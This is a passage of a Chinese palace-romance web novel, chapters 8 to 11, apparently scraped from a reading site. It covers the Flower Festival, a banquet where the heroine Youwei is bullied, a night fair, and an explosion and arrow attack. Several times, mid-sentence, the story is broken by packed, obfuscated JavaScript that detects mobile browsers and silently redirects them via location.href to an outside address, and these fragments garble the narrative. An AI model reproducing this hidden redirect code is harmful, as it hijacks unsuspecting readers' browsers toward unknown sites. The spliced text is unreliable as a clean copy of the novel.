他和李承玦不单是君臣,更是兄弟。对李承玦,他自问有几分了解。 李承玦抬眼,只问了一句话。 “有家人吗?” 卫昭停了一下才缓过来,懂了陛下的意思,表情顿时有些动容。 “回陛下,一并……去了。” 李承玦闭了下眼:“为他们安葬罢。” “是。”卫昭抱拳,“属下已派人加大搜查,力将早日搜出三位殿下。” 李承玦停止转动扳指,下巴微抬:“不必了。” 卫昭不解看过去:“陛下?” “藏了这许久都找不到,加大搜查便搜得到了?朕的皇兄既动手,必是有备而来。” 他起身,从龙案后绕出来,负手在殿中踱步,手中扳指仍在摩挲。 卫昭的视线跟在李承玦身上,眼中满是信赖与忠诚。 李承玦稍作思索,站定:“让军师传令下去,花朝节朕会出宫,与百姓同游。” 卫昭脸色微变:“陛下万万不可!此举过于危险,万一六殿下他们——” 李承玦突然出声打断他:“朕没时间玩什么猫捉老鼠的游戏,不必再说,去办吧。” 卫昭还欲再劝,但李承玦面色坚决,在军中他的话便是铁令,言出必践,绝不更改。 卫昭只好咽下。陛下既决意,他只好与军师——右相细细筹划,务必保陛下万全! -
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525042|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 花朝节这天,幼薇提了两种点心:两盒玉心软酪,另一种则是用梅花模具压制的糕饼。 她外罩一件浅玉色披风,登上了前往宁国公府的马车,算是应谢明姝宫宴之邀约。 正是初春,天刚回暖,枝头放新绿,比起天寒地冻的冬日,这样的天气称得上暖意融融。 路上,小桃跟幼薇数着:“相府的聘礼单子好长呢!奴婢还是头一回见到那么多聘礼,小姐,看来庄公子是真心求娶你的,想来嫁过去必不会教小姐受了委屈,老爷这下可以放心了!奴婢听来顺说,庄公子下聘那天,好多人过来偷偷打探呢,小姐这桩婚事好,不知道多少人暗地里羡慕小姐……” 上次和庄怀序见过了面,回府后和父亲说了她的打算,这桩婚事暂时就这么定了,流程却没急着向下走。 庄怀序时不时会捎人给她送些小玩意,有时是精致的零嘴,有时是些难买的话本,有些是坊间解闷的小物件,总之非是那些金银首饰之类的俗物,但都是花了心思的。 幼薇却不知道回什么好。 一来她是茫然的,对庄怀序只是有些初步的好感,回礼完全是出于礼节;二来,她担心万一亲事有变,她却送了那么多有象征意味的东西,对两个人来说都不是什么好事。 所以幼薇纠结两天,就让管家挑了几方上好的徽墨、两锭端砚,便是作为朋友收下也合理的东西,就这么给庄怀序送了去。 东西收得多了,心里也渐渐松快些,被人这般惦记着,终究是暖意,对待这件事,也没了最初的排斥。 御赐的婚事进度不能停滞不前,否则会被视为大不敬,是以当父亲询问她意见的时候,她稍作犹豫,还是点头了。 于是相府没多久便下了聘,聘礼队伍长得快把整条街站满,引得不少百姓来围观。 不论是聘礼上门那天,还是小桃唠唠叨叨的现在,幼薇都没什么求亲的实感,大概心里头时不时会浮现另一个人,所以总觉得这是别人的事。 小桃能看出自家小姐心里还没放下那个人,她说这些话只是想让小姐多想想这令人开心的亲事。 可是她嘴巴都要说干了小姐也没反应,难道庄公子不是让小姐开心的人,那么那个人会是吗? 她试探地开口:“奴婢听闻圣人今夜会出宫与百姓同游,不知道我们会不会见到……” “不会。” 幼薇答得很快,语气也很淡。 “圣人出行必有仪仗,寻常百姓怎会相见,何况圣人出巡,与我们何干?以后莫要再提。” 小桃讪讪应下:“是。” 心里却拿不定,小姐这般平淡,算是放下了吗?可若是放下,怎会应得这般快? 马车停在国公府前,幼薇从车上下来,此刻国公府府门大开,二管家守在门口迎客。 幼薇携着小桃欲进,却被拦下了。 “余小姐恕罪。”二管家脸上堆着笑,语气却很坚持,“今日府中宴客,按规矩需出示请柬。” 幼薇并未多想,只是一愣:“请柬?未曾收到过什么请柬……是那日明姝姐姐说让我花朝节来……” 话没说完,旁边一辆马车停下,一个穿藕荷色衣裙的贵女掀帘下车,递过一张描金请柬。二管家验过,双手奉还,让小厮引着人往里去了。 幼薇傻了眼。 “这……许是明姝姐姐忙忘了,将我漏了去,劳烦二管家帮我通传一声……” 二管家略一思忖,自家大小姐与余小姐的交情是府里人都知道的,想来是真忘了。他点头道:“小姐稍等,在下这就派人去问。” 幼薇道了谢,站在府门前的石狮子旁等着。 半个时辰过去了,进府的贵女换了一波又一波,每个人都递上请柬,笑意盈盈地被引进去。她们路过时,有的对她点头示意,有的只淡淡瞥一眼便径直入内,谁也没多问一句。 春日的太阳渐渐升高,晒得人有些暖,幼薇却觉得指尖有些凉,为何独独漏了她的请柬? 正想着,去通传的小厮终于跑了回来,喘着气道:“余小姐,大小姐请您进去。” 幼薇松了口气,提着食盒往里走。 脚下的青石板路被打扫得干干净净,两旁的花圃里,牡丹、山茶开得正盛,想来是花匠特意催开应景的。 待客的潭月阁就在前面,远远能听见里面传来的笑闹声,银铃似的,衬得这园子里愈发春意融融。 “余小姐到——” 随着通报声,阁内的笑闹骤然停了。 幼薇掀开竹帘迈进门槛时,十来道目光齐刷刷落在她身上——有惊讶,有探究,还有几分藏不住的讥诮。 9.第九章 侍奉的婢女上来帮她解下披风,挂在偏阁的衣架上。 同时被这么多眼睛注视,幼薇手一紧,不由有些局促。 阁内花香阵阵,摆放了许多提前催熟好的花,在不该放开的季节里,满室的春意盎然。 所有人都看着她,却没有人主动跟她说话。 幼薇扫了一圈,主位的座位空着,谢明姝不在,她只能拣了角落的位置坐了,小桃帮着把食盒放在一旁的桌上。 这份沉默令人不适,幼薇定了定神,率先露出笑来:“各位姐妹来得真早,是我来迟了。” 一个头戴珍珠步摇的贵女翘着唇角望过来:“是吗?怎么我来的时候瞧见余小姐在门口站着,倒像是比我们来得还早?” 此话说完,大家彼此交换了下眼神,不知是谁毫不掩饰地笑出声来。 有人掩口惊讶,开口:“真的假的?好端端的余小姐为何站在门口,难道是不愿进来?” 幼薇连忙辩解:“不是的,是明姝姐姐忘了给我发请柬……” 那人放下帕子,一双美目瞧过来,意有所指:“原是这样,我还当余小姐忙着筹备婚事,不愿同我们玩了。” 这时,有人目光在幼薇身上转了两圈,语气带着几分促狭的试探:“余小姐素日里沉静少言,倒不承想,竟与庄公子有了往来。这般事原是喜事,怎么也不与我们透个信儿?想来也没有把我们当姐妹。” “也不能这样说,余小姐平日里只与明姝走得近,她连明姝都没告诉,何况是我们这些。” “可说是呢。” 这些人自问自答,每抛出一个问题都有人接上,令幼薇无话可说,也无言以对。 幼薇平日里在宴会上并不瞩目,只在谢明姝身边,像一道安静的影子。 这还是她头一次成为这些宴会中心,诸多目光直射过来,你一言我一语地暗指她惹眼的婚事。 幼薇坐在椅子边上,低垂眼眸,像是什么都没听到般一语未发,只祈祷这群人过够了嘴瘾,能够转移话题放过她。 奈何这世间事总是事与愿违,她越是安静低调,那些人越觉得一拳打在棉花上不过瘾,反倒是咄咄逼人起来。 傅叶嘉笑盈盈望着幼薇:“余小姐怎的不答话,莫不是连话都不愿同我们说了?” 说话之人,便是去岁在国公府上单方面相看庄怀序的小姐,其父亲是门下侍郎,母亲是云英郡主。 她方才始终未开口,一直旁观着这一切,想来方才那些言语,都是为了讨好她才发生。 幼薇有些困惑地抬眼:“你们不是都说完了吗?傅小姐是想听我说什么?” 傅叶嘉一噎,竟不知如何回应,她愤愤地瞪着幼薇,不知想到什么,竟是勾唇笑了起来:“庄公子是钦点状元郎,文采斐然,想必他的未婚妻子,定也腹有诗书、才情卓绝,方才引得庄公子倾心了。” 此话一出,厅内众女不禁掩唇发笑,个别矜持的,也将头偏过去轻咳一声。 幼薇面色涨红:“我不……” 她自觉丢脸,声似蚊讷般,被一众笑声中掩盖了去。 傅叶嘉偏头回望,见窗外栽种了一株垂丝海棠,花期未至,绿叶新发,她收回眼:“不如我们就以这垂丝海棠为题,一刻钟为限,一人作一句诗来,顺便见识见识余小姐的才情如何?” 众人连忙称好。贵女聚会,相互作诗玩也是常有的事,是以笔墨都在偏阁备着,很快有婢子奉了出来。 纸笔发过来,幼薇瞧见桌上的物件,又见众女已经开始提笔思考,根本没给她反驳的机会。很快有人眉目一松,提笔写来;或是眼睛一亮,胸有成竹落笔。 幼薇大脑空空,忽然有些恼怒自己不曾用功,紧接着又想起和李承玦在一起时,他对曾她说:“你天真质朴,很可爱。” 现在想想,他或许在笑自己愚蠢,倘若多读些书来,就不会这样被骗。思及此,心又涩又痛,竟怪不起旁人。 一刻钟倏忽而过,众女开始分享自己写的诗句。她们多少都被家中栽培过,自是各有各的风雅。 尤其老太傅孙女那句“粉靥垂丝怯晓风”,以美人喻花,得满座称赞;傅叶嘉作了一句“雨余红萼缀晴空”,画面清丽,也得到了“别具匠心”的好评。 这时,傅叶嘉直直瞧过来,双目戏谑:“余小姐的诗作呢?” “我……” 幼薇看向自己写下的那句话,白得根本拿不出手。 不由将纸合上:“不及众位姐姐,我愿认罚。” “写都写了,何不拿来看看?” 傅叶嘉竟直接起身走过来,一把抓起幼薇桌上那张纸。幼薇脸色涨红,连忙伸手抢夺。 傅叶嘉打定主意要她出丑,哪肯让她得手?当即侧身一转,抖开纸张,同时大声念出:“花满枝头来得晚——哎呀,这可真是文采斐然,对仗工整,该当裱起挂在书房日日欣赏了!” 幼薇眼见抢不回来,又被她这样当众大声嘲笑自己,她双手绞在一起,不由眼眶一红。 众人本来只想看个热闹,加上余幼薇竟得庄怀序求娶有些嫉妒罢了,哪承想傅叶嘉竟如此行事。 再想余幼薇向来单纯,谁叫她带糕点她都会答应,要她帮忙也绝不推辞,如同小妹妹一般,这会儿见她眼眶红了,众女心中都不是滋味,想开口劝傅叶嘉莫要过火。 就在这时,一道声音从阁外传入进来。 ——“绵绵这句诗的确不错,倒教我想到一句:不与桃李争秾艳,自抱春心倚画栏。傅小姐,你觉得我这句诗如何?” 一直未现身的谢明姝竟在此时到场,所有人都朝声源处望去,但见一婢女打帘,谢明姝一袭紫裙束带踏入阁中,削肩柳腰,仙姿玉貌,整间小阁随着她的出现华光四射,一举一动皆是气度不凡。 傅叶嘉见谢明姝到来,脸色不由微变,她将幼薇的纸放回原位,双手交握,勉强露出笑容:“明姝,你这身衣裳换得真久,众姐妹等你才闲来无事作诗取乐,何必较真呢?” “这就奇怪了,我顺应游戏便是较真,那有人认输还非要看人家的诗又算什么?” 谢明姝走到幼薇身边,用帕子擦掉她眼角的泪,转过脸,一双凤目直直看过去:“海棠不与桃李争春,自有识得它好的人爱重;若是一味争艳夺彩,反倒失了本真,惹人厌弃了。你既无法欣赏它的品行,又何必以它作诗?” 众女瞧见这一幕,不禁哑然。 原以为谢明姝没给余幼薇发请柬将她拦在门外,也是同众人一般不喜她的。 不想她一来便这样直白回护,连从前交好的傅叶嘉也不给面子,看来请柬一事果真是误会了。 傅叶嘉失了颜面,额角隐有怒色,她紧抿唇角,讥讽道:“看来你们都是懂花之人,倒是我不配欣赏了,既如此,我还是寻个没有海棠之处,多多陶冶自己,等哪日品得其中妙处再登门与你探讨了,告辞。” 她带上丫鬟便走,步履飞快,似一秒都不愿多待。 临出门前,回头狠狠看了幼薇一眼,显然这件事在她心里没完。 众人没料到今日这场戏竟是如此收场,一时瞠目结舌,不过想到傅叶嘉过分之举,也觉得此女活该,再联想方才各自对幼薇的言行,生怕谢明姝知道迁怒自己了去。 有个先前跟着起哄的小姐,忙端了杯茶递过来:“幼薇妹妹快润润喉,方才傅姐姐太胡闹了。” 被这许多人瞧着,加上傅叶嘉已被赶走,谢明姝又来帮她说话,实在没必要再追究什么。 幼薇自觉窘然,正欲迈着碎步退回座位,谢明姝却一把拉起她:“走,到我身边坐。” 幼薇怔怔被她拉走,把她带到主位旁,侍婢直接将她的椅子搬过去,小桃连忙提起食盒跟上。 眼见厅中气氛尴尬,又因自己而起,幼薇只想让事情快点过去,她飞快擦擦眼泪,把食盒一一打开,奉到谢明姝跟前:“你总算来了,快尝尝玉心软酪,太久没做,也不知道味道对不对。” 谢明姝眼中浮现笑意:“这段时日只怕是忙坏了,难为你还记着。” 幼薇却不觉得有什么,只是坚定道:“我答应过你的。” 谢明姝盯着她瞧了一会儿,忍不住摸了摸幼薇的头。 她尝过玉心软酪,又让婢子将点心依次分下去,终于将方才的闹剧揭过,厅内充满对幼薇手艺的夸赞,气氛和乐轻松。 有谢明姝在,幼薇终于不觉得难熬。 整个下午,众小姐对百花品评赏玩,幼薇甚少开口,每次开口,都会被人极力奉承,再没人敢挤兑刻薄什么,直到日头西垂,众人带着国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529783|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公府给众小姐准备的礼物纷纷请辞。 国公府小聚不过是添头,夜晚才是人人期待的重头戏。 幼薇也要请辞,谢明姝握住了她的手腕,口吻也有几分促狭:“绵绵,晚上和我一起罢——还是你约了旁人?” 这个“旁人”是谁,答案不言而喻,幼薇红了脸颊,没想到谢明姝也这样坏。 不过她自是无人可约,于是应了谢明姝,同她一齐乘马车出门。 国公府的马车宽敞华丽,平稳得感受不到一丝颠簸,车内有兰桂熏香,备了瓜果、茶点,棋盘。 此刻,谢明姝正与幼薇在马车内下棋。 幼薇棋艺不精,本不是个好对手,谢明姝有意让她,二人倒也下得有来有往。 一盘棋毕,幼薇果不其然输了,她暗自气恼自己的棋技,将黑子一粒一粒从棋盘上捡起。 谢明姝也不紧不慢地捡着,抬起眼,瞧着幼薇微皱的鼻梁,忽地开口:“绵绵怎不问我为何不与你发请柬?” 幼薇捡棋子的动作一顿,黑子捡完,她又将白子全都推到谢明姝面前,道:“姐姐定是忙忘了才会如此。” “你就不觉得我是故意没给你的?” 幼薇歪头想了想:“若是姐姐不愿见我,便不会让管家放弃进来了。既让我进来,说明姐姐还是想着我的。” 谢明姝盯着她黑白分明的大眼睛瞧了半晌,末了扬唇:“可我的确是故意没送请柬给你。” “……” 幼薇瞠目结舌,眨了眨眼,忽地有些坐立难安:“姐姐,你……我……” “我觉出那些贵女看你不顺,想着她们或许会刁难你,是以便没有将你的那份送去,倒是忘了那日的玉心软酪约定,也没想到你会在门口等我。”谢明姝轻叹,“今日我回房换衣服,所以来得晚了些,想是让绵绵受了委屈,抱歉,是我照顾不周,让她们欺负你了去。” “不会的,没有。” 幼薇连忙摇头,没想到谢明姝是这样想的,心中潜藏的疑惑一扫而空,取而代之是被人关切的暖意融融,她感动得不知说什么好,眼底热热的。 “我不比众位姐姐优秀,她们觉得我配不上庄公子,是以心中不快,想说些话出出气也正常,其实没把我怎么样……” 谢明姝:“论心性品德,她们没一个及得过你,你有什么配不得?” 幼薇被她说得脸颊红红的。 谢明姝推开窗子,夜幕低垂,街上的灯火如游龙一般点亮整个京都,街道亮如白昼。 她回首望向幼薇:“外面很热闹,你要逛逛吗?” 幼薇也把脑袋探出去,路边油煎包的味道扑面而来,勾栏咿咿呀呀的唱曲飘进耳朵,她坐回来,心驰神往四个字写在脸上,眼睛都亮了:“明姝姐姐我们一起下去吧!” 谢明姝只是微笑:“我便不去了。” “为何?” 幼薇问完就后悔了,想也知道,谢明姝是真正的贵女,对这些民间热闹向来不热衷,何况外面乱糟糟的,她的衣服又那样贵…… 她刚准备说她自己去玩就是,却听谢明姝淡淡开口:“圣人今夜会驾临彩凤楼,我要去彩凤楼等他。” 仿佛有一道天雷降下,一瞬间,幼薇以为自己听错了。 “圣人……驾临彩凤楼?” “是啊。”谢明姝抬眸,“你要和我一起等吗?” 幼薇如梦初醒,对上谢明姝那双清淡的眼眸,她却如同被烫到般,几乎迫不及待想逃了。 她连连摆手:“不不,我、我还要去街上玩,明姝姐姐,我先走了……” 谢明姝天生凤命,她生来就是要做皇后的,如今新帝登基,与其等待被遴选入宫,自比不过主动争取来的缘分,将来传出去也是一段韵事。 想想花朝节,圣人与皇后在彩凤楼相遇,一见定终身,这是多么令人津津乐道的帝后佳话? 这段佳话里,若有她这么个人出现,想也知道该有多么碍眼。 她唇角微抿,艰难地对谢明姝笑了笑,随后推开车门叫停车夫。 二人的侍婢都在车辕上坐着。她提起裙摆,小桃扶她下了马车,主仆二人在路边站定,目送国公府马车远走。今夜过后,不知宁国公府的地位又将发生何等变化,不过那都与幼薇无关了。 10.第十章 幼薇下车的地方正是最热闹的汴河大街,夜幕降临,沿街商铺灯火连绵,映得河水波光粼粼,如碎金流动。 汴河是大渊最重要的运河,连通淮河、黄河长江等重要河流,沟通南北区域,沿途经济都被这条河打通,京都亦如此。 整个京都都被汴河贯穿,凡临河街道皆是富贵迷人,每逢节日,沿街商铺更是张灯结彩,正如此时。 街上游人如织,衣衫鬓影与璀璨灯影交织,其间穿插着叫卖的小贩,处处皆是繁华似锦。 去岁局势动荡,又过了一个严寒冬日,加之先帝丧期,百姓已经许久不曾这样热闹,开怀笑容映在行人脸上,幼薇本该是其中一员,可她实在开心不起来。 尽管一再想隔绝那个人,可还是会听到关于他的只言片语。 他今夜会出巡,会驾临彩凤楼,会在那里遇到谢明姝,她不想再知道他的一切,为什么还要让她一清二楚? 她没有纠缠他,也决定顺着他的圣旨嫁给别人,她已经做了一切能做的,老天为何偏不肯放过她? 可是她能怨谁呢?他是皇帝,是天子,是圣人,自是人人瞩目的,人人都想探听他的动向,这不是任何人的错。 只能怪自己不好,说好要放下这个人,却还是会被跟他有关的事情牵动。 是她没用。 行人太多,幼薇又一次撞到别人身上,那人见是个可爱姑娘,又穿戴不俗,只口吻不快让她注意点,绕过她们主仆便走了。 小桃察觉到自家主子的一直失神,刚好面前经过一个手捧油纸的女子,油纸上面写着苏记,她眼睛一亮道:“小姐,这有苏记从食,你不是很爱吃吗?我们去买点吧。” 幼薇抬眼看过去,想到李承玦曾经给她带的零嘴便是苏记的肉脯果干蜜饯,又想到这些所谓的“好”都是他的伪装,她竟沉湎在虚情假意中难脱至今。 心口忽然有些发堵,为何处处都是有关他的记忆。 她收回眼,摇了摇头:“现在不喜欢了。” 出来玩本是为了开心,不可以再被这个人影响。 她努力打起精神,踮起脚,向远处张望:“前面好像很热闹,我们过去瞧瞧吧。” 小桃巴不得主子开心,连忙点头:“好,去瞧去瞧。” 幼薇拉起小桃的手,露出一个俏皮的笑:“走,我们跑过去。” “哎小姐——” 小桃声音还在原地,人已经被幼薇拉出去老远,一主一仆在人群中穿梭。 幼薇跑到那处挤满了人的地方,发现这条路口直通河边,一位老翁正在表演打铁花。 人群一层又一层挤得满满当当,她们才刚过来,身后又围了一层人,很快将她们淹没。 小桃指着天空,激动地拍手:“哇,小姐你快看,好好看!比烟花还好看呢!” 是很好看。 铁水烧得通红,老翁抡起木勺猛抛,另一只手挥板狠狠一击,通红的铁水骤然泼向夜空,瞬间炸开万点金星,火星如流瀑坠落,映照在人脸上明明灭灭,引得人群一阵又一阵的叫好。 老翁七八岁的孙子捧着斗笠,穿梭在人群中挨个讨赏,好多人第一次见这新奇技艺,但愿意给钱的也不过五分之一,对这要钱的小孩只当看不见。 小男孩很快走到幼薇面前。 幼薇见这孩子衣裳被烫了好几个焦黑的洞,鞋子也磨得变型,走路时有一半鞋底都是掉的,她心里揪得紧,连忙让小桃翻荷包,小桃在身上摸了一圈惊叫:“呀,小姐!荷包不见了!” 她腰间空空如也,只有被割断的系带,荷包不翼而飞。 那男孩眼巴巴瞧她,幼薇身上没带余钱,被小孩子这样瞧着,心里更是愧疚得不行。 她有心摘下首饰拿去让小孩变卖,但她的首饰都刻了名字,流落在外毕竟不妥,她犹豫一瞬,最终低头,从脖颈上摘下一枚玉饰。 这玉饰是特意命人刻的,玉兔抱月的纹样。 因她属兔,小时候,病中的母亲总说她以后会到月亮上去。 母亲去后,她怕母亲在月亮上孤独,就很希望自己能够继续陪着母亲,于是有了这件玉饰。 长大后才知道自己天真,母亲不会在月亮上,需要人陪的也并不是母亲,而是她自己。 这玉佩就成了一个念想,想母亲时就会拿出来看看,不过深究起来也不是什么不可多得之物,再让人打造个一样的就是了。 她将玉坠递过去:“这个也能换些钱的,不要再做这么辛苦的事了。” 话说完,又觉这话不妥。若有的选,谁愿如此辛苦?她心下愧疚,补充又显刻意。 第一次有人对男孩说这样的话,不是居高临下,也没有厌恶和驱赶。 他懵懂抬头,见一位仙女似的姐姐对他温柔浅笑,纤纤玉手递来一枚玉坠。 他第一次见到这样的宝贝,不由自主就要接过来。 还没接到手中,掌心突然多了一小块银子,凉凉的触感让他从梦中回神,只见漂亮姐姐旁边又多了个俊俏公子,那公子出手,竟将那玉坠截胡过去,他一身锦衣面带微笑,掌心里还躺着漂亮姐姐的玉坠。 小男孩脸红道:“这玉坠是给我的!” 喊完就后悔了,赶紧后退一步怕贵人打他。他知道自己不该争,可是不知道哪来的勇气,竟敢跟这样惹不起的贵人说话。 那公子修养很好,听了他无礼的话也不恼,反而从荷包中又取了块碎银递过来:“商量下,卖我如何?” 小男孩不甘心地看着他手里的玉坠,却也没有立即拒绝。 他仍旧未恼,看出小孩的动摇,这次从荷包里拿了块大的碎银:“小兄弟,行行好。” 那玉坠自不值这么多钱,去当铺也换不来这些,他和爷爷卖了这么多年艺也赚不到这么多,他知道是自己赚了。 他咬了咬牙,转过头不再看玉坠一眼,抓起银子就跑。 幼薇没想到庄怀序会突然出现,而且是在这样的时刻。 再看他手中的玉坠,不由有些脸红:“……庄公子,一枚普通玉饰罢了,您何必……” 庄怀序收回手,不知他身上用了什么香,闻起来贵重独特,如他这个人一般卓尔不群。 他只是微笑:“那怎么办,总不好眼睁睁看着女子贴身的饰物流落外人之手。” 幼薇道:“其实没那么贵重的,我还可以再做。这本是我的事,如今反倒让你破费……” “哪里破费?”庄怀序向下翻掌,她的抱月玉兔自他掌心落下,被一截深色编绳坠住,“这不是买了块玉吗?挺值的。” 听他这意思,倒是不准备归还了。 这玉佩被她常年佩戴,有她的香味,还有她的体温,送给小孩子不觉得有什么,落到庄怀序手中,不知为何一下子令人不自在起来。 她有些焦急地跺脚: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幼薇本以为他会安慰她一些诸如“有人看才有赏钱”“你已经给了他们很多钱”之类的话,此类话题也该如此揭过,不想他竟把责任揽到自己身上去,让这无解问题有了一个解决方法,虽然渺茫,但听在心里总归是多了很多希望和力量的,她也觉得好受了许多。 她这才露出一个真心的笑,眼底也有了亮光,竟对他施了一礼:“那便有劳公子了。” 她直起身,庄怀序也对她弯起了唇角。 街边酒楼灯火辉煌,暖光映在二人脸上,喧闹声将他们包围,二人在人群中无声对望,这一笑,周遭的嘈杂仿佛在那一刻悄然远去,一种微妙的暖意流转其间。 这时,街道上突然出现大批禁军,迅速跑到河岸边守卫,将所有百姓拦截。 只听有人高声道:“圣人出巡,百姓避让——” “什么?圣人真的出巡了?” “我要见圣人!圣人在哪里?” “圣人在那!我看到了!圣人在画舫上!” “……” 幼薇隔着人群下意识转头望去,禁军防守严密,将百姓隔绝在岸边,可人们还是瞧得清楚,只见那足有三层高的画舫上,身着龙袍的天子负手站在最高处,画舫灯火明亮,帝王身姿修长挺拔,威仪尽现。 他身后是近侍与臣子,他们一同站在画舫上随帝王出巡,画舫轻轻撞开河灯,行得越来越近,百姓的兴奋与呼叫传到画舫上去,画舫上的天子看过来,似乎在朝这边微微笑着,那是天子的温柔,毫不吝啬地分给每一位目之所及的子民。只是他那双眼眸过于深邃,即便隔着如此距离,也仿佛能望入人心底。幼薇下意识按紧自己的心口,忽地忍不住想,在他伪装心意同她相处的那半年里他不知这样笑过多少次,或许只有这一刻,才是发自他的真心。 11.第十一章 幼薇悄悄从人群中离开,庄怀序跟上她,走到了另一条街上。 小桃很有分寸地跟随在后方两三米的位置,绝不打扰。 这会儿百姓大都去河边瞻仰圣人,这条街不临河,所以此刻人不多,只余几个孩童追逐着跑过青石板路,笑声清脆,还有一个老丈不紧不慢地收着茶摊,碗碟磕碰,叮当作响。 她听见庄怀序闲聊般开口:“你好像对圣人出巡不感兴趣。” 这话又直击她心中要处,越不想聊什么他越问,但仔细想想,自己的行径的确令人不解,庄怀序奇怪也正常。 幼薇捏着帕子,故作轻松:“面见圣人的机会多着,何必与百姓争抢呢,好不容易出来玩,当然要抓紧时间。” “余小姐天真可爱,令人心折。” 这本是一句暧昧的话,不知为何由他说来,全无男女情浓之感,倒像是直抒胸臆的坦诚,想到什么便说了。 幼薇实在不知道怎么应对,索性当没听见。 庄怀序提议道:“望江楼畔新开了一处夜市,我们过去瞧瞧。” 幼薇正愁无处可去,欣然应允。 街道渐渐恢复熙攘,想是圣人的画舫已远去,勾栏乐曲顺着窗子飘出来,游人的欢声笑语充斥耳朵,这快乐感染幼薇,慢慢将李承玦抛在脑后。 途中幼薇被一个变戏法的吸引,那人将铜板凭空变来变去,她觉得惊奇,忍不住看了好半天,又想起李承玦曾故意把她的钗子藏起来骗她,曾经的快乐现在想起都带着痛,她笑容凝滞,不再多看。 这一转身,才发现庄怀序不见了,街上到处都是人,她垫脚张望半天都找不到他的身影。 一只兔子灯笼突然出现在她眼前,幼薇吓一跳,她循着灯笼看去,见庄怀序单手负后,另只手提着兔灯,嘴角挂噙着笑意望她。 他将兔子灯递过去:“送你。” 幼薇惊讶不已:“这是?” “那里买的。”他示意后面的一个小摊,“我见你那块玉坠上有兔子,猜是你喜欢,便想买来送你。” 那兔灯做得精巧,形状可爱,令人爱不释手。 她欢欢喜喜接过,把兔灯提起来,打量这胖嘟嘟的灯,好奇地去戳灯身,又怕将纸戳破,只好轻轻地摸上一摸。 她笑弯了眼睛,晃了晃这盏兔灯:“好喜欢,我要挂在房中,每天看它。” 两人提灯继续向前走,幼薇像个孩子般,时不时把灯提起来瞧一瞧,或者把灯紧紧护着,生怕别人撞到,庄怀序在一旁看得忍俊不禁。 临近汴河的这条街,有几座酒楼闻名遐迩,其中之一便是望江楼。 终于走到这里,却见望江楼外被禁军把守,临近的商贩都被驱赶,不许任何人摆摊,花朝节的热闹似乎到此为止。 她不禁微怔,好久没看到这么大阵仗了,是哪位王公贵人来此了吗? 不过她并不关心,一心和庄怀序继续游玩。 身后有急促马车声越来越近,幼薇被庄怀序拉着避开,她看到那辆三驾马车,车盖上有鎏金铜宝珠顶,墨绿色车衣上绣麒麟纹样,那是宁国公府的标志。 谢明姝的马车? 她怎么会在这,不应该在彩凤楼吗? 那马车穿过人群,直奔望江楼而去,幼薇下意识跟上,她看到马车停在楼前,被禁军拦下,车夫不知交涉了什么,又亮了腰牌,为首的禁军摇头,仍旧不肯放行。 那马车行直最近的茶坊前,谢明姝从车上下来,坐进了茶坊中。 见到谢明姝,幼薇有点开心,她想上前打个招呼。 一进茶坊,便看到艳光四射的大美人坐在那,指尖蘸水在桌上写了什么,任凭茶坊其他人在她身上打量,面色冷淡且矜贵。 “明姝姐姐,我们又遇到了!” 幼薇拉着庄怀序坐下,将灯笼放到一边,捧脸跟谢明姝打招呼。 谢明姝飞快抹去水痕,闻声抬眼,看向幼薇的同时,也看到了一旁的庄怀序。 京都贵族圈子里最负盛名的两人,就这样同时出现在这寻常茶坊中。 谢明姝眉毛微动,弯唇朝庄怀序的方向使了一个眼色:“绵绵,还说你没有约旁人,那你告诉我,你身旁坐的是谁?” “……” 幼薇的脸马上红了,尤其她还提着兔灯,分明是和心上人同游的架势,真是百口莫辩。 她连忙推了下谢明姝的手臂:“明姝姐姐!” 紧接着连忙岔开话题:“你不是去了彩凤楼,见到……了吗?” 谢明姝的神色淡下来,不动声色抽回手臂:“尚未。圣人改驾望江楼了,不然你以为里面是谁?” 幼薇心中一跳,下意识望向被禁军把守的望江楼。难怪如此阵仗,她竟忘了,朝中哪还有别的王公,分明是圣驾亲临。 她已经很努力在躲掉这个人了,为什么还是总跟他撞到一起? 她不想继续这个话题,转而道:“正巧遇到明姝姐姐,我们等下一起去放河灯吧!” 谢明姝微笑:“好啊。” 才刚起身,却听外面传来一声天崩地裂般的巨响—— “轰——!!!” 刹那间,万籁俱寂。 随即,恐慌如潮水般涌来。 “地龙翻身了!” 不知谁先喊了这一声,人群顿时炸开。 哭喊声、尖叫声、桌椅翻倒声瞬间将方才的祥和撕得粉碎,人们像无头苍蝇般四处奔逃。 幼薇吓得扑到谢明姝怀里,紧紧抱着她,颤声问道:“怎么回事?方才那是什么?” 庄怀序向远处眺望,面容严肃:“像是东门大街方向出事了。” 谢明姝蹙眉:“好端端的,怎会爆炸?” 爆炸? 不知为何,幼薇想到了春祭那日的事情。 话音才落,就见从东门大街方向涌来大批百姓,望江楼地处开阔,成了他们眼中最近的安全之所。 人潮如同决堤的洪水,轰然涌向禁军布防的区域,维持秩序的士兵们甚至来不及反应,就被这失控的□□重重冲垮、淹没,防线瞬间土崩瓦解。 庄怀序脸色剧变,猛地将幼薇拉向自己身后:“此地不宜久留,我们快走!” 三人正欲向外跑,几乎就在同时,无数道箭矢自他们头顶上方飞掠,直射望江楼及下面护卫的禁军,更有带火的箭矢向每一层楼射去。 